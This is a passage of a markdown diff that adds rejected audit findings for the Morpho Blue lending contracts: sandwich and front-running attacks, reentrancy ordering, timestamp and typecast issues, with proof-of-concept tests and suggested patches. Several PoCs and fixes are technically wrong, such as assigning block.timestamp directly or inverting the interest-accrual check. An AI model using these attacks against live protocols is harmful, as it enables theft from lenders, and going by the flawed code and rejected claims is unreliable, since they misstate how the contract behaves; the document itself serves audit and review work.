+ 1000000000000000000000
+ balance of borrower before (loan token) :
+ 0
+
+ balance of borrower after (collateral token) :
+ 1000000000000000000000
+ balance of borrower after (loan token) :
+ 59999999999999999830
+
+ bad debt :
+ 59999999999999999830
+```
+
+As it can be observed, attacker can get profit by sandwich attack price change and steal market supply assets in one block of transaction.
+
+**Recommendation**:
+
+disallow open and close position in single block (add delay before position can be liquidated) to discourage attacker do the operations as it open risk for being liquidated by other users.
+
+
+
+### Functions `supply`, `repay`, `supplyCollateral` and `liquidate` have an unatural order of operations that invites Reentrancy _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+Functions `supply`, `repay`, `supplyCollateral` and `liquidate` don’t follow CEI principles.
+All these functions modify the state, allow callbacks with an updated state and only after that executes the transfers. Even if I wasn’t able to find a way to exploit this, it doesn’t mean one doesn’t exist. Change the order of operations to mitigate any possible vulnerabilities.
+
+**Recommendation**:
+
+Please implement the following changes:
+```diff
+ function supply(
+ MarketParams memory marketParams,
+ uint256 assets,
+ uint256 shares,
+ address onBehalf,
+ bytes calldata data
+ ) external returns (uint256, uint256) {
+ Id id = marketParams.id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(UtilsLib.exactlyOneZero(assets, shares), ErrorsLib.INCONSISTENT_INPUT);
+ require(onBehalf != address(0), ErrorsLib.ZERO_ADDRESS);
+
+ _accrueInterest(marketParams, id);
+
+++ IERC20(marketParams.loanToken).safeTransferFrom(msg.sender, address(this), assets);
+
+ if (assets > 0) shares = assets.toSharesDown(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+ else assets = shares.toAssetsUp(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+
+ position[id][onBehalf].supplyShares += shares;
+ market[id].totalSupplyShares += shares.toUint128();
+ market[id].totalSupplyAssets += assets.toUint128();
+
+ emit EventsLib.Supply(id, msg.sender, onBehalf, assets, shares);
+
+ if (data.length > 0) IMorphoSupplyCallback(msg.sender).onMorphoSupply(assets, data);
+
+-- IERC20(marketParams.loanToken).safeTransferFrom(msg.sender, address(this), assets);
+
+ return (assets, shares);
+ }
+```
+```diff
+function repay(
+ MarketParams memory marketParams,
+ uint256 assets,
+ uint256 shares,
+ address onBehalf,
+ bytes calldata data
+ ) external returns (uint256, uint256) {
+ Id id = marketParams.id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(UtilsLib.exactlyOneZero(assets, shares), ErrorsLib.INCONSISTENT_INPUT);
+ require(onBehalf != address(0), ErrorsLib.ZERO_ADDRESS);
+
+ _accrueInterest(marketParams, id);
+++ IERC20(marketParams.loanToken).safeTransferFrom(msg.sender, address(this), assets);
+ if (assets > 0) shares = assets.toSharesDown(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+ else assets = shares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+
+ position[id][onBehalf].borrowShares -= shares.toUint128();
+ market[id].totalBorrowShares -= shares.toUint128();
+ market[id].totalBorrowAssets = UtilsLib.zeroFloorSub(market[id].totalBorrowAssets, assets).toUint128();
+
+ // `assets` may be greater than `totalBorrowAssets` by 1.
+ emit EventsLib.Repay(id, msg.sender, onBehalf, assets, shares);
+
+ if (data.length > 0) IMorphoRepayCallback(msg.sender).onMorphoRepay(assets, data);
+
+-- IERC20(marketParams.loanToken).safeTransferFrom(msg.sender, address(this), assets);
+
+ return (assets, shares);
+ }
+```
+
+```diff
+function supplyCollateral(MarketParams memory marketParams, uint256 assets, address onBehalf, bytes calldata data)
+ external
+ {
+ Id id = marketParams.id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(assets != 0, ErrorsLib.ZERO_ASSETS);
+ require(onBehalf != address(0), ErrorsLib.ZERO_ADDRESS);
+
+++ IERC20(marketParams.collateralToken).safeTransferFrom(msg.sender, address(this), assets);
+
+ // Don't accrue interest because it's not required and it saves gas.
+
+ position[id][onBehalf].collateral += assets.toUint128();
+
+ emit EventsLib.SupplyCollateral(id, msg.sender, onBehalf, assets);
+
+ if (data.length > 0) IMorphoSupplyCollateralCallback(msg.sender).onMorphoSupplyCollateral(assets, data);
+
+-- IERC20(marketParams.collateralToken).safeTransferFrom(msg.sender, address(this), assets);
+```
+
+```diff
+function liquidate(
+ MarketParams memory marketParams,
+ address borrower,
+ uint256 seizedAssets,
+ uint256 repaidShares,
+ bytes calldata data
+ ) external returns (uint256, uint256) {
+ Id id = marketParams.id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(UtilsLib.exactlyOneZero(seizedAssets, repaidShares), ErrorsLib.INCONSISTENT_INPUT);
+
+ _accrueInterest(marketParams, id);
+
+++ IERC20(marketParams.loanToken).safeTransferFrom(msg.sender, address(this), repaidAssets);
+
+ uint256 collateralPrice = IOracle(marketParams.oracle).price();
+
+ require(!_isHealthy(marketParams, id, borrower, collateralPrice), ErrorsLib.HEALTHY_POSITION);
+
+ uint256 repaidAssets;
+ {
+ // The liquidation incentive factor is min(maxLiquidationIncentiveFactor, 1/(1 - cursor*(1 - lltv))).
+ uint256 liquidationIncentiveFactor = UtilsLib.min(
+ MAX_LIQUIDATION_INCENTIVE_FACTOR,
+ WAD.wDivDown(WAD - LIQUIDATION_CURSOR.wMulDown(WAD - marketParams.lltv))
+ );
+
+ if (seizedAssets > 0) {
+ repaidAssets =
+ seizedAssets.mulDivUp(collateralPrice, ORACLE_PRICE_SCALE).wDivUp(liquidationIncentiveFactor);
+ repaidShares = repaidAssets.toSharesDown(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+ } else {
+ repaidAssets = repaidShares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+ seizedAssets =
+ repaidAssets.wMulDown(liquidationIncentiveFactor).mulDivDown(ORACLE_PRICE_SCALE, collateralPrice);
+ }
+ }
+
+ position[id][borrower].borrowShares -= repaidShares.toUint128();
+ market[id].totalBorrowShares -= repaidShares.toUint128();
+ market[id].totalBorrowAssets = UtilsLib.zeroFloorSub(market[id].totalBorrowAssets, repaidAssets).toUint128();
+
+ position[id][borrower].collateral -= seizedAssets.toUint128();
+
+ uint256 badDebtShares;
+ if (position[id][borrower].collateral == 0) {
+ badDebtShares = position[id][borrower].borrowShares;
+ uint256 badDebt = UtilsLib.min(
+ market[id].totalBorrowAssets,
+ badDebtShares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares)
+ );
+
+ market[id].totalBorrowAssets -= badDebt.toUint128();
+ market[id].totalSupplyAssets -= badDebt.toUint128();
+ market[id].totalBorrowShares -= badDebtShares.toUint128();
+ position[id][borrower].borrowShares = 0;
+ }
+
+ IERC20(marketParams.collateralToken).safeTransfer(msg.sender, seizedAssets);
+
+ // `repaidAssets` may be greater than `totalBorrowAssets` by 1.
+ emit EventsLib.Liquidate(id, msg.sender, borrower, repaidAssets, repaidShares, seizedAssets, badDebtShares);
+
+ if (data.length > 0) IMorphoLiquidateCallback(msg.sender).onMorphoLiquidate(repaidAssets, data);
+
+-- IERC20(marketParams.loanToken).safeTransferFrom(msg.sender, address(this), repaidAssets);
+
+ return (seizedAssets, repaidAssets);
+ }
+```
+
+
+
+
+### Precision loss in `_isHealthy` _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+The internal function ` _isHealthy` calculates the `maxBorrow` variable as follows:
+
+```
+uint256 maxBorrow = uint256(position[id][borrower].collateral).mulDivDown(collateralPrice, ORACLE_PRICE_SCALE).wMulDown(marketParams.lltv);
+```
+
+If we translate this from formulaic into pure math we get the following:
+
+```
+maxBorrow = (((position[id][borrower].collateral * collateralPrice) / ORACLE_PRICE_SCALE) * marketParams.lltv) / WAD
+```
+
+As one can see this contains a division before multiplication leading to a precision loss which lowers the amount a person can borrow. This influences any functions that rely on the bool returned by ` _isHealthy`
+
+**Recommendation**:
+
+Change the `_isHealthy` formula as follows:
+```
+ /// @dev Returns whether the position of `borrower` in the given market `marketParams` with the given
+ /// `collateralPrice` is healthy.
+ /// @dev Assumes that the inputs `marketParams` and `id` match.
+ /// @dev Rounds in favor of the protocol, so one might not be able to borrow exactly `maxBorrow` but one unit less.
+ function _isHealthy(MarketParams memory marketParams, Id id, address borrower, uint256 collateralPrice)
+ internal
+ view
+ returns (bool)
+ {
+ uint256 borrowed = uint256(position[id][borrower].borrowShares).toAssetsUp(
+ market[id].totalBorrowAssets, market[id].totalBorrowShares
+ );
+-- uint256 maxBorrow = uint256(position[id][borrower].collateral).mulDivDown(collateralPrice, ORACLE_PRICE_SCALE).wMulDown(marketParams.lltv);
+++ uint256 maxBorrow = (collateral * marketParams.lltv * collateralPrice) / (ORACLE_PRICE_SCALE * WAD);
+
+ return maxBorrow >= borrowed;
+ }
+```
+
+This lowers the precision loss.
+
+
+
+
+### Borrowers can escape full liquidation _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** [Morpho.sol#L344-L344](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L344-L344)
+
+- Summary
+
+A borrower that has an unhealthy position can front-run a full liquidation transaction to escape being fully liquidated.
+
+- Vulnerability Details
+
+`liquidate` function takes as an argument either `seizedAssets` or `repaidShares` (one of the values has to be zero) and if you want to fully liquidate a user you should use `repaidShares` and specify the total borrowed shares by the user. However the borrower can see the transcation pending in the mempool and front-run it to liquidate a very small portion of his position so he can escape full liquidation. As a result of the borrower's transcation, the original liquidator's transaction would revert because it would underflow since the borrower himself did a very small liquidation.
+
+- Prood of Concept
+
+Add this test in `BaseTest.t.sol` and run `forge test --match-test testLiquidatingUserEscape -vvv`.
+The test is supposed to revert due to an aritmetic underflow / overflow.
+
+ function testLiquidatingUserEscape() public {
+ bytes memory emptyData;
+
+ _supply(200e18);
+
+ oracle.setPrice(2e36);
+
+ collateralToken.setBalance(BORROWER, 200e18);
+ loanToken.setBalance(LIQUIDATOR, 200e18);
+
+ vm.startPrank(BORROWER);
+ morpho.supplyCollateral(marketParams, 200e18, BORROWER, emptyData);
+ morpho.borrow(marketParams, 170e18, 0, BORROWER, BORROWER);
+ vm.stopPrank();
+
+ //Price falls and the borrower is undercollateralized
+ oracle.setPrice(1e36);
+
+ //Borrower front-runs the actual liquidate
+ vm.startPrank(BORROWER);
+ morpho.liquidate(marketParams, BORROWER, 0, 2000, emptyData);
+ vm.stopPrank();
+
+ vm.startPrank(LIQUIDATOR);
+ morpho.liquidate(marketParams, BORROWER, 0, 170e24, emptyData);
+ vm.stopPrank();
+ }
+
+In this test we can see how a borrower with an unhealthy position escapes full liquidation by just liquidating 2000 shares of his own. This is nothing taking into account that the shares have a 24 decimal precision.
+
+- Impact
+
+Full liquidations of users can be blocked and that means that a liquidator needs to execute multiple transactions, costing him gas which makes liquidation not as profitable as expected.
+
+- Recommendations
+
+Consider taking as an argument a `type(uint256).max` value for `repaidShares` and if that is inputed then assign the variable `repaidShares` to `position[id][borrower].borrowShares`.
+This way we liquidate the user fully no matter how much borrowed shares he has left.
+
+
+
+### Incompatibility With Rebasing/Deflationary/Inflationary tokens _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Details:
+
+The current protocol does not seem to accommodate rebasing, deflationary, or inflationary tokens with balances that change during transfers or over time. Essential checks, including verification of token amounts transferred to contracts before and after actual transfers, are needed to deduce any fees or interest.
+
+- Recommendations:
+
+1. Ensure thorough checks for rebasing, inflation, or deflation by confirming that the previous and after balances equal the transfer amount.
+
+2. Enhance contract support to handle such dynamic token behaviors before accepting user-supplied tokens.
+
+3. Consider implementing additional checks on balances before and after transactions or explicitly inform users not to use tokens with deflationary, rebasing, or similar features if they wish to avoid potential loss.
+
+
+
+### Strict equality check can skip interest accrual. _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+The function `_accrueInterest` in the contract `Morpho` uses a strict equality check (`==`) to determine if the elapsed time since the last update is zero. This can skip the interest accrual logic, which depends on the elapsed time. This can be exploited by an attacker who can manipulate the block timestamp to make the elapsed time equal to zero, and avoid paying or receiving interest on their borrow or supply assets.
+
+**Impact**:
+
+The impact of this issue is medium, as it can affect the functionality and security of the contract, and cause incorrect or unfair interest calculations. For example, an attacker who borrows assets from the contract can manipulate the block timestamp to make the elapsed time equal to zero, and avoid paying interest on their borrow assets. This can reduce the income for the contract and the supply asset holders, and increase the risk of `undercollateralization`. Similarly, an attacker who supplies assets to the contract can manipulate the block timestamp to make the elapsed time equal to zero, and avoid receiving interest on their supply assets. This can reduce the return for the supply asset holders, and discourage them from using the contract.
+
+**Proof of code**:
+
+Source Link:-
+
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L471-L495
+
+To demonstrate the issue, we can use the following code snippet, which assumes that the contract `Morpho` is deployed at the address `0x1234...,` and that the attacker has some balance of the token `0x5678...,` which is also supported by the contract. The code snippet shows how the attacker can borrow and supply assets from the contract, and manipulate the block timestamp to make the elapsed time equal to zero, and skip the interest accrual logic.
+
+```
+// Attacker's code
+address morpho = 0x1234...; // Morpho contract address
+address token = 0x5678...; // ERC20 token address
+uint256 amount = 1000; // Amount of tokens to borrow and supply
+
+// Borrow some tokens from the contract
+morpho.call(abi.encodeWithSignature("borrow(address,uint256)", token, amount));
+
+// Check the borrow balance of the attacker
+console.log("Borrow balance: ", morpho.borrowBalance(msg.sender, token)); // Returns 1000
+
+// Supply some tokens to the contract
+ERC20(token).approve(morpho, amount); // Approve the contract to spend the tokens
+morpho.call(abi.encodeWithSignature("supply(address,uint256)", token, amount));
+
+// Check the supply balance of the attacker
+console.log("Supply balance: ", morpho.supplyBalance(msg.sender, token)); // Returns 1000
+
+// Manipulate the block timestamp to make the elapsed time equal to zero
+block.timestamp = morpho.lastUpdate(token); // Set the block timestamp to the last update time of the token
+
+// Call the _accrueInterest function with the same token
+morpho.call(abi.encodeWithSignature("_accrueInterest(address)", token));
+
+// Check the borrow and supply balances of the attacker
+console.log("Borrow balance: ", morpho.borrowBalance(msg.sender, token)); // Returns 1000, no interest accrued
+console.log("Supply balance: ", morpho.supplyBalance(msg.sender, token)); // Returns 1000, no interest accrued
+
+```
+The code snippet shows that the attacker can borrow and supply assets from the contract, and manipulate the block timestamp to make the elapsed time equal to zero, and skip the interest accrual logic. This can affect the functionality and security of the contract, and cause incorrect or unfair interest calculations.
+
+**Recommendation**:
+
+The recommended solution is to use a non-strict inequality check (`!=`) instead of a strict equality check (`==`) to determine if the elapsed time is zero. This will prevent the attacker from manipulating the block timestamp to skip the interest accrual logic, and ensure that the interest is calculated correctly and fairly. Here is the modified code with the suggested change:
+
+```
+function _accrueInterest(MarketParams memory marketParams, Id id) internal {
+ uint256 elapsed = block.timestamp - market[id].lastUpdate;
+
+ // if (elapsed == 0) return; // change == to !=
+ if (elapsed != 0) {
+
+ uint256 borrowRate = IIrm(marketParams.irm).borrowRate(marketParams, market[id]);
+ uint256 interest = market[id].totalBorrowAssets.wMulDown(borrowRate.wTaylorCompounded(elapsed));
+ market[id].totalBorrowAssets += interest.toUint128();
+ market[id].totalSupplyAssets += interest.toUint128();
+
+ uint256 feeShares;
+ if (market[id].fee != 0) {
+ uint256 feeAmount = interest.wMulDown(market[id].fee);
+ // The fee amount is subtracted from the total supply in this calculation to compensate for the fact
+ // that total supply is already increased by the full interest (including the fee amount).
+ feeShares = feeAmount.toSharesDown(market[id].totalSupplyAssets - feeAmount, market[id].totalSupplyShares);
+ position[id][feeRecipient].supplyShares += feeShares;
+ market[id].totalSupplyShares += feeShares.toUint128();
+ }
+
+ emit EventsLib.AccrueInterest(id, borrowRate, interest, feeShares);
+
+ // Safe "unchecked" cast.
+ market[id].lastUpdate = uint128(block.timestamp);
+ }
+ }
+
+```
+The code snippet shows that the function `_accrueInterest` uses a non-strict inequality check (`!=`) to determine if the elapsed time is zero, and only executes the interest accrual logic when the elapsed time is non-zero. This can prevent the attacker from manipulating the block timestamp to skip the interest accrual logic, and ensure that the interest is calculated correctly and fairly.
+
+
+
+### Dubious typecasts can cause overflow or truncation errors. _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+The contract `Morpho` defines three functions that have dubious typecasts: `_accrueInterest`, `createMarket`, and `setFee`. These functions cast `uint256` values to `uint128` values, which can cause overflow or truncation errors if the values exceed the range of `uint128`. For example, the function `_accrueInterest` casts the `block.timestamp` value to uint128 and assigns it to the `lastUpdate` variable, which can overflow if the `block.timestamp` value is larger than 2**128 - 1. This can affect the logic and the effects of the function, and potentially lead to incorrect or unfair interest calculations.
+
+**Impact**:
+
+The impact of this issue is medium, as it can affect the functionality and security of the contract, and cause incorrect or unfair calculations. For example, an attacker can exploit the overflow or truncation errors to manipulate the logic or the effects of the functions, or to obtain sensitive information from the memory.
+
+**Proof of code**:
+
+Source Link:-
+
+1. https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L123-L136
+2. https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L150-L161
+3. https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L471-L495
+
+To demonstrate the issue, we can use the following code snippet, which assumes that the contract Morpho is deployed at the address `0x1234...,` and that the attacker has some balance of the token `0x5678...,` which is also supported by the contract. The code snippet shows how the attacker can call the `_accrueInterest` function with a large value for the `block.timestamp,` and how this can cause an overflow error.
+
+```
+// Attacker's code
+address morpho = 0x1234...; // Morpho contract address
+address token = 0x5678...; // ERC20 token address
+
+// Manipulate the block timestamp to a large value
+block.timestamp = 2**128; // Set the block timestamp to 2**128
+
+// Call the _accrueInterest function with the token
+morpho.call(abi.encodeWithSignature("_accrueInterest(address)", token));
+
+// Check the result of the interest accrual
+console.log("Interest accrual result: ", morpho.interestAccrualResult(token)); // Returns (0, 0), no interest accrued
+
+// Check the last update time of the token
+console.log("Last update time: ", morpho.lastUpdate(token)); // Returns 0, overflow occurred
+
+```
+
+**Recommendation**:
+
+The recommended solution is to use clear constants to define the range and the type of the values, and to check for overflow or truncation errors before casting. This can prevent the attacker from exploiting the dubious typecasts, and ensure that the functions execute correctly and securely. Here is the modified code with the suggested changes:
+ ```
+// Define the constants
+uint256 constant MAX_UINT128 = 2**128 - 1; // The maximum value of uint128
+uint128 constant MAX_FEE = 0.1e18; // The maximum value of fee
+
+```
+```
+function setFee(MarketParams memory marketParams, uint256 newFee) external onlyOwner {
+ Id id = marketParams.id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(newFee != market[id].fee, ErrorsLib.ALREADY_SET);
+ require(newFee <= MAX_FEE, ErrorsLib.MAX_FEE_EXCEEDED);
+
+ // Accrue interest using the previous fee set before changing it.
+ _accrueInterest(marketParams, id);
+
+ // Check for overflow before casting
+ require(newFee <= MAX_UINT128, ErrorsLib.OVERFLOW);
+
+ // Safe cast
+ market[id].fee = uint128(newFee);
+
+ emit EventsLib.SetFee(id, newFee);
+ }
+```
+
+```
+function createMarket(MarketParams memory marketParams) external {
+ Id id = marketParams.id();
+ require(isIrmEnabled[marketParams.irm], ErrorsLib.IRM_NOT_ENABLED);
+ require(isLltvEnabled[marketParams.lltv], ErrorsLib.LLTV_NOT_ENABLED);
+ require(market[id].lastUpdate == 0, ErrorsLib.MARKET_ALREADY_CREATED);
+
+ // Check for overflow before casting
+ require(block.timestamp <= MAX_UINT128, ErrorsLib.OVERFLOW);
+
+ // Safe cast
+ market[id].lastUpdate = uint128(block.timestamp);
+ idToMarketParams[id] = marketParams;
+
+ emit EventsLib.CreateMarket(id, marketParams);
+ }
+```
+
+```
+function _accrueInterest(MarketParams memory marketParams, Id id) internal {
+ uint256 elapsed = block.timestamp - market[id].lastUpdate;
+
+ if (elapsed == 0) return;
+
+ uint256 borrowRate = IIrm(marketParams.irm).borrowRate(marketParams, market[id]);
+ uint256 interest = market[id].totalBorrowAssets.wMulDown(borrowRate.wTaylorCompounded(elapsed));
+ market[id].totalBorrowAssets += interest.toUint128();
+ market[id].totalSupplyAssets += interest.toUint128();
+
+ uint256 feeShares;
+ if (market[id].fee != 0) {
+ uint256 feeAmount = interest.wMulDown(market[id].fee);
+ // The fee amount is subtracted from the total supply in this calculation to compensate for the fact
+ // that total supply is already increased by the full interest (including the fee amount).
+ feeShares = feeAmount.toSharesDown(market[id].totalSupplyAssets - feeAmount, market[id].totalSupplyShares);
+ position[id][feeRecipient].supplyShares += feeShares;
+ market[id].totalSupplyShares += feeShares.toUint128();
+ }
+
+ emit EventsLib.AccrueInterest(id, borrowRate, interest, feeShares);
+
+ // Check for overflow before casting
+ require(block.timestamp <= MAX_UINT128, ErrorsLib.OVERFLOW);
+
+ // Safe cast
+ market[id].lastUpdate = uint128(block.timestamp);
+ }
+
+```
+
+
+
+### Previous `feeRecepient` could miss part of their fees _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** [Morpho.sol#L139-L145](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L139-L145)
+
+`setFeeRecipient` lacks a call to the internal `_accrueInterest` function before setting a new fee recipient address. This could lead to the situation when fees accrued for the previous period that should be accounted to the current recipient would be accounted for a new one in the next call that triggers `_accrueInterest`.
+
+
+
+### Timestamp manipulation can cause incorrect or unfair logic and effects _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+The contract Morpho defines two functions that use timestamp for comparisons: `_accrueInterest` and `setAuthorizationWithSig`. These functions rely on the `block.timestamp` value to determine the elapsed time or the signature expiration. However, the `block.timestamp` value can be manipulated by miners, who can adjust it within a certain range to influence the outcome of the comparisons. For example, the function `_accrueInterest` uses the `block.timestamp` value to calculate the interest rate and the interest amount, which can be affected by the miner’s choice of the timestamp. This can cause incorrect or unfair logic and effects, such as skipping the interest accrual or changing the interest amount.
+
+**Impact**:
+
+The impact of this issue is medium, as it can affect the functionality and security of the contract, and cause incorrect or unfair calculations. For example, an attacker can exploit the timestamp manipulation to avoid paying or receiving interest on their borrow or supply assets, or to invalidate a valid signature or validate an expired signature.
+
+**Proof of code**:
+
+Source Link:-
+
+1. https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L471-L495
+2. https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L435-L452
+
+To demonstrate the issue, we can use the following code snippet, which assumes that the contract Morpho is deployed at the address `0x1234...,` and that the attacker has some balance of the token `0x5678...,` which is also supported by the contract. The code snippet shows how the attacker can call the `_accrueInterest` and `setAuthorizationWithSig` functions with manipulated values for the `block.timestamp`, and how this can cause incorrect or unfair logic and effects.
+
+```
+// Attacker's code
+address morpho = 0x1234...; // Morpho contract address
+address token = 0x5678...; // ERC20 token address
+
+// Borrow some tokens from the contract
+morpho.call(abi.encodeWithSignature("borrow(address,uint256)", token, 1000));
+
+// Check the borrow balance of the attacker
+console.log("Borrow balance: ", morpho.borrowBalance(msg.sender, token)); // Returns 1000
+
+// Manipulate the block timestamp to a large value
+block.timestamp = 2**128; // Set the block timestamp to 2**128
+
+// Call the _accrueInterest function with the token
+morpho.call(abi.encodeWithSignature("_accrueInterest(address)", token));
+
+// Check the result of the interest accrual
+console.log("Interest accrual result: ", morpho.interestAccrualResult(token)); // Returns (0, 0), no interest accrued
+
+// Check the borrow balance of the attacker
+console.log("Borrow balance: ", morpho.borrowBalance(msg.sender, token)); // Returns 1000, no interest accrued
+
+// Create an authorization for another address
+Authorization memory authorization;
+authorization.authorizer = msg.sender;
+authorization.authorized = 0x1234...; // Another address
+authorization.isAuthorized = true;
+authorization.nonce = 0;
+authorization.deadline = block.timestamp + 3600; // Set the deadline to one hour later
+
+// Sign the authorization with the attacker's private key
+Signature memory signature;
+(signature.v, signature.r, signature.s) = sign(authorization, msg.sender);
+
+// Manipulate the block timestamp to a small value
+block.timestamp = 0; // Set the block timestamp to 0
+
+// Call the setAuthorizationWithSig function with the authorization and the signature
+morpho.call(abi.encodeWithSignature("setAuthorizationWithSig(Authorization,Signature)", authorization, signature));
+
+// Check the result of the authorization
+console.log("Authorization result: ", morpho.isAuthorized(msg.sender, 0x1234...)); // Returns true, signature validated
+
+```
+
+The code snippet shows that the attacker can call the `_accrueInterest` and `setAuthorizationWithSig` functions with manipulated values for the `block.timestamp`, and how this can cause incorrect or unfair logic and effects. For example, the attacker can manipulate the block timestamp to 2**128, which can cause the elapsed variable to overflow and become zero, and skip the interest accrual logic. This can allow the attacker to avoid paying interest on their borrow assets, and reduce the income for the contract and the supply asset holders. Similarly, the attacker can manipulate the block timestamp to 0, which can make the `authorization.deadline` variable larger than the `block.timestamp` value, and validate an expired signature. This can allow the attacker to authorize another address without a valid signature, and compromise the security of the contract.
+
+**Recommendation**:
+
+The recommended solution is to avoid relying on `block.timestamp` for comparisons, and use alternative methods that are more reliable and secure. For example, the functions can use `block.number` instead of `block.timestamp` to determine the elapsed time or the signature expiration, as `block.number` is less prone to manipulation by miners. Or the functions can use an oracle service that provides a trusted source of time, such as `Chainlink`. Here is the modified code with the suggested changes:
+
+```
+// Use block.number instead of block.timestamp
+function _accrueInterest(MarketParams memory marketParams, Id id) internal {
+ uint256 elapsed = block.number - market[id].lastUpdate;
+
+ if (elapsed == 0) return;
+
+ uint256 borrowRate = IIrm(marketParams.irm).borrowRate(marketParams, market[id]);
+ uint256 interest = market[id].totalBorrowAssets.wMulDown(borrowRate.wTaylorCompounded(elapsed));
+ market[id].totalBorrowAssets += interest.toUint128();
+ market[id].totalSupplyAssets += interest.toUint128();
+
+ uint256 feeShares;
+ if (market[id].fee != 0) {
+ uint256 feeAmount = interest.wMulDown(market[id].fee);
+ // The fee amount is subtracted from the total supply in this calculation to compensate for the fact
+ // that total supply is already increased by the full interest (including the fee amount).
+ feeShares = feeAmount.toSharesDown(market[id].totalSupplyAssets - feeAmount, market[id].totalSupplyShares);
+ position[id][feeRecipient].supplyShares += feeShares;
+ market[id].totalSupplyShares += feeShares.toUint128();
+ }
+
+ emit EventsLib.AccrueInterest(id, borrowRate, interest, feeShares);
+
+ // Safe "unchecked" cast.
+ market[id].lastUpdate = uint128(block.number);
+ }
+
+// Use block.number instead of block.timestamp
+function setAuthorizationWithSig(Authorization memory authorization, Signature calldata signature) external {
+ require(block.number <= authorization.deadline, ErrorsLib.SIGNATURE_EXPIRED);
+ require(authorization.nonce == nonce[authorization.authorizer]++, ErrorsLib.INVALID_NONCE);
+
+ bytes32 hashStruct = keccak256(abi.encode(AUTHORIZATION_TYPEHASH, authorization));
+ bytes32 digest = keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, hashStruct));
+ address signatory = ecrecover(digest, signature.v, signature.r, signature.s);
+
+ require(signatory != address(0) && authorization.authorizer == signatory, ErrorsLib.INVALID_SIGNATURE);
+
+ emit EventsLib.IncrementNonce(msg.sender, authorization.authorizer, authorization.nonce);
+
+ isAuthorized[authorization.authorizer][authorization.authorized] = authorization.isAuthorized;
+
+ emit EventsLib.SetAuthorization(
+ msg.sender, authorization.authorizer, authorization.authorized, authorization.isAuthorized
+ );
+ }
+
+```
+The code snippet shows that the functions `_accrueInterest` and `setAuthorizationWithSig` use `block.number` instead of `block.timestamp` for comparisons, to determine the elapsed time or the signature expiration. This can prevent the attacker from manipulating the timestamp to affect the logic or the effects of the functions, and ensure that the functions execute correctly and securely.
+
+
+
+### Lenders can prevent bad debt from being socialized by supplying 1 wei of collateral to the liquidated borrower _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** [Morpho.sol#L387-L387](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L387-L387)
+
+**Description**:
+Before socializing bad debt in the `liquidate` function there is a check on whether the borrower's collateral is 0. Furthermore, through the `supplyCollateral` function any user can supply collateral on behalf of the borrower that is being liquidated.
+In the previous audit of the codebase by OpenZeppelin, the first and only High-severity issue states that bad debt can be prevented from being socialized by liquidating the borrower's debt - 1 wei. However, in the audit report, it is not acknowledged that if a borrower is liquidated with the maximum amount, a lender can front-run the transaction by supplying just 1 wei of collateral on behalf of the borrower. Following that, the initial front-runned liquidate call will not socialize the bad debt as the `position[id][borrower].collateral == 0` will return false.
+Moreover, the issue raised in the OpenZeppelin audit will be further escalated by this fact as if a borrower is liquidated to 1 wei collateral (as would also happen in the situation described above), lenders can keep the liquidated borrower's collateral at this state by continuing to supply 1 wei of collateral right before every other liquidation. To add to this, once a borrower is left with 1 wei of collateral, liquidators will likely not fully liquidate the position as they will be at a loss.
+Lenders are incentivized to leave the bad debt unsocialized as the position will continue to accrue interest and they will not be required to repay the debt.
+
+**Recommendation**:
+One way to solve this issue is to add an option to liquidate the entire position of a borrower.
+
+
+
+### Morpho Blue markets can get locked if the chainlink oracle fails or becomes deprecated _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- **Description**:
+Morpho Blue markets can get locked if the chainlink oracle fails or becomes deprecated. Chainlink multisig can disable any feed at any time so call the getPrice can fail if this happens. This can prevent users from being `liquidated` or `withdrawing` their collateral.
+
+```solidity
+function getPrice(AggregatorV3Interface feed) internal view returns (uint256) {
+ if (address(feed) == address(0)) return 1;
+
+ (, int256 answer,,,) = feed.latestRoundData();
+ require(answer >= 0, ErrorsLib.NEGATIVE_ANSWER);
+
